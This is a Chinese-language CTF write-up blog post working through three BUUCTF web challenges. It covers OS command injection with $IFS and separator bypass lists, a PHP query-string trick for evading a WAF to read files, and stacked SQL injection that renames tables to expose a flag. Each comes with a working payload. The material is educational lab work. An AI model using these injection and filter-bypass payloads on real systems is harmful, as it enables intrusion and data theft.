BUUCTF刷题&学习记录

  1. [GXYCTF2019]Ping Ping Ping

要输入ip,学习$IFS内部字段分隔符(Internal Field Separator, IFS)定义一个定界符,默认是空格,学习管道符"|","|"是管道命令操作符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。连续使用管道符意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

linux常见过滤:

过滤空格:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}$IFS

命令分隔符:

linux中:%0a(换行) 、%0d(回车) 、; 、& 、| 、&&、||

windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符,SUB 在文本文件中表示文件结果)

花括号:

{cat,flag} 逗号代替空格

拼接绕过:

$a=l;$b=s;$a$b(就是ls)

最后使用的payload为:

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

 

其中,$IFS在linux下表示分隔符,但是如果单纯的cat$IFS,bash解释器会把整个IFS当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

 参考:

https://www.jianshu.com/p/e10f27249338

http://blog.chinaunix.net/uid-22566367-id-381955.html

 

  1. [RoarCTF 2019]Easy Calc

php字符串解析特性passby:

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

理解:
假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num = aaaa //显示非法输入的话

那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

 

var_dump()函数:显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

scandir()函数:返回指定目录中的文件和目录的数组。

file_get_contents()函数:函数把整个文件读入一个字符串中。

 

和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串,file() 函数把整个文件读入一个数组中。

file_get_contents()是用于把文件的内容读入到一个字符串中的首选方法。

需要用到payload为:

?%20num=var_dump(scandir(chr(47)))

  找到有个f1agg

最后的payload为:

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

参考:

https://blog.csdn.net/weixin_44077544/article/details/102630714

https://www.jianshu.com/p/3afa7083d3ea

  1. [强网杯 2019]随便注

全部都过滤了,看完wp发现是堆叠注入,新知识点+1

1';show databases;#

 

1';show tables;#

 

 先看words

1'; show columns from `words` ;#

 

 

1';show columns from `1919810931114514`;#

 

 看到flag了,但是不可以用select,另外想其他办法

word表里面有id和data,输入1时候的回显也是1和hahahah,而1919810931114514这个表只有一个flag数据,不符合回显的要求,所以我们可以猜测页面回显的是word表里面的内容

这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字

这时候我们就可以已下面的骚姿势进行注入:

1.将words表改名为word1或其它任意名字

2.1919810931114514改名为words

3.将新的word表插入一列,列名为id

4.将flag列改名为data

构造payload:

1’;rename table words to word1;

rename table 1919810931114514 to words;

alter table words add id int unsigned not Null auto_increment primary key;

alert table words change flag data varchar(100);#

接着我们再用1’ or 1=1 #,在原来显示id的地方查询得到flag,证明确实开始的页面回显的是word表里面的数据

参考:
https://blog.csdn.net/qq_26406447/article/details/90643951

 

posted @ 2020-11-19 16:24  Altriaaaa  阅读(116)  评论(0编辑  收藏  举报